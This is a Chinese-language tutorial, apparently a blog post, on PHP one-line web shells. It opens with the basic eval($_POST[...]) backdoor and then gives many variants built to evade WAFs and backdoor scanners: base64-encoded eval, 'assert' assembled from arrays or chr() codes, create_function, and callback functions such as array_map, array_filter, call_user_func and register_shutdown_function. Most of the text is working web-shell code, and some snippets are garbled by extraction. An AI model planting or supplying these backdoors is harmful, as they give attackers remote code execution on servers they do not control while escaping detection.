简单的一句话1@eval($_POST['password']);?>
[email protected]()函数将字符串内容当作php代码执行
而$_POST[]即获取以post方式发送的参数为password的值
整体来说,就是将post获取的值,当作php代码执行。
一句话的变形
1.使用编码的方式
当然简单的一句话肯定会被waf轻易的发现,所以需要对一句话进行变形,以绕过waf的检查
简单的一句话的变形,如利用base64_decode()函数对一句话进行解码进而执行。1
2
3
4
5
6
7
8@$a = $_POST['x'];
if(isset($a)){
@preg_replace("/
(.∗)
/e",'\1',base64_decode('W0BldmFsKGJhc2U2NF9kZWNvZGUoJF9QT1NUW3owXSkpO10='));
}
?>
其中base64_decode(‘W0BldmFsKGJhc2U2NF9kZWNvZGUoJF9QT1NUW3owXSkpO10=’))解码后为:[@eval(base64_decode($_POST[z0]));]
还可以使用
2.1使用数组拼接的方式
因为检测后门的时候大多通过检测关键字,危险函数的使用,所以可以通过对一句话的拼接来绕过检测1
2
3
4
5
6
7
8$arr = array('a','s','s','e','r','t');
$func = '';
for($i=0;$i
$func .= $func . $arr[$i];
}
$func($_REQUEST['c']);
?>
以上拼接到一起为assert($_REQUEST[‘c’])
2.2使用ASCII码拼接的方式1 $_uU=chr(99).chr(104).chr(114);$_cC=$_uU(101).$_uU(118).$_uU(97).$_uU(108).$_uU(40).$_uU(36).$_uU(95).$_uU(80).$_uU(79).$_uU(83).$_uU(84).$_uU(91).$_uU(49).$_uU(93).$_uU(41).$_uU(59);$_fF=$_uU(99).$_uU(114).$_uU(101).$_uU(97).$_uU(116).$_uU(101).$_uU(95).$_uU(102).$_uU(117).$_uU(110).$_uU(99).$_uU(116).$_uU(105).$_uU(111).$_uU(110);$_=$_fF("",$_cC);@$_();?>
本质还是拼接
翻译过来为:create_funtion(“”,eval(_POST[1]););
3.使用其他的函数
如函数array_map()对数组中所有元素使用函数处理1
2
3strcasecmp(md5($_GET['qid']),'aaa1fb894b5716d60771e6f230b67e6c')?array_map("asx73ert",(array)$_REQUEST['cmd']):next;
?>
其中array_map(“asx73ert”,(array)$_REQUEST[‘cmd’])使用的函数为assert为放过滤使用”asx73ert”。
或者使用_GET()函数1
2
3@$_GET[a]($_GET[b]);
?>
http://127.0.0.1/test.php?a=assert&b=cmd
preg_replace的/e参数能够在在进行了对替换字符串的 后向引用替换之后, 将替换后的字符串作为php 代码评估执行1preg_replace('/some/e',$_POST[c],'some');
/e参数在php5.5以上就废弃了可以用preg_replace _callback
总结下来一些能执行命令的函数eval
assert
call_user_func
array_map
create_function
preg_replace的/e参数
回掉函数生成后门
1.assert作为回调函数,处理pass参数1call_user_func('assert', $_REQUEST['pass']);
2.数组操作函数
利用对数组进行操作的函数1
2
3
4
5<?php
$e = $_REQUEST['e'];
$arr = array($_POST['pass'],);
array_filter($arr, base64_decode($e));
?>
其中array_filter()函数是将数组中所有元素遍历并用指定函数处理过滤用的
即遍历$arr数组中元素,使用传入的e参数进行调用
array_map(myfunction,array)对数组array使用myfunction处理
但数组回掉函数还是容易被发现和查杀。1
2
3<?php
$e = $_REQUEST['e'];
register_shutdown_function($e, $_REQUEST['pass']);
其中register_shutdown_function()函数是在PHP中止时执行的函数,在PHP中止时执行自定义的回调函数